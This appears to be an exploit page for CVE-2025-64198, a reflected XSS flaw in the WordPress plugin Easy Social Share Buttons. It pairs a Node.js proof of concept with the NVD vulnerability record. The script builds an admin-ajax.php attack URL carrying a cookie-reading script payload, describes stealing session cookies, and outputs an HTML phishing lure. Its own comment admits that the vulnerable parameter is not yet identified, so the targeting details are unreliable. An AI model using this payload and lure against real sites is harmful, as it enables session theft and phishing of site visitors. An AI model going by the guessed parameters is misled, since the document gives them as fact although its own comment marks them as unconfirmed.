CVE-2025-64198

// CVE-2025-64198 Reflected XSS PoC for Easy Social Share Buttons < 10.7.1 // Target: WordPress site with easy-social-share-buttons3 plugin const https = require('https'); const querystring = require('querystring'); // Malicious JavaScript payload to be executed in victim's browser const xssPayload = '<script>alert(document.cookie)</script>'; // Construct the malicious URL with the XSS payload // The vulnerable parameter needs to be identified from the plugin const vulnerableURL = 'https://target-site.com/wp-admin/admin-ajax.php'; const params = { 'action': 'essb_rs_subscribe', 'post_id': '1', 'c': xssPayload // Vulnerable parameter }; const fullURL = vulnerableURL + '?' + querystring.stringify(params); console.log('[*] CVE-2025-64198 Reflected XSS PoC'); console.log('[*] Target: ' + vulnerableURL); console.log('[*] Malicious URL:'); console.log(fullURL); console.log('\n[*] Attack Scenario:'); console.log('1. Attacker crafts a malicious URL with XSS payload'); console.log('2. Attacker tricks victim into clicking the link'); console.log('3. Victim browser executes the malicious JavaScript'); console.log('4. Attacker steals session cookies or performs actions'); // Alternative: Direct HTML PoC for social engineering const htmlPoC = ` <a href="${fullURL}">Click here for amazing offer!</a> <img src=x onerror="${xssPayload}"> `; console.log('\n[*] HTML PoC for phishing:'); console.log(htmlPoC);

{"cve": {"id": "CVE-2025-64198", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:13.990", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in appscreo Easy Social Share Buttons easy-social-share-buttons3 allows Reflected XSS.This issue affects Easy Social Share Buttons: from n/a through < 10.7.1."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización incorrecta de la entrada durante la generación de páginas web ('Cross-Site Scripting ') en appscreo Easy Social Share Buttons easy-social-share-buttons3 permite XSS Reflejado. Este problema afecta a Easy Social Share Buttons: desde n/a hasta &lt; 10.7.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/easy-social-share-buttons3/vulnerability/wordpress-easy-social-share-buttons-plugin-10-7-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}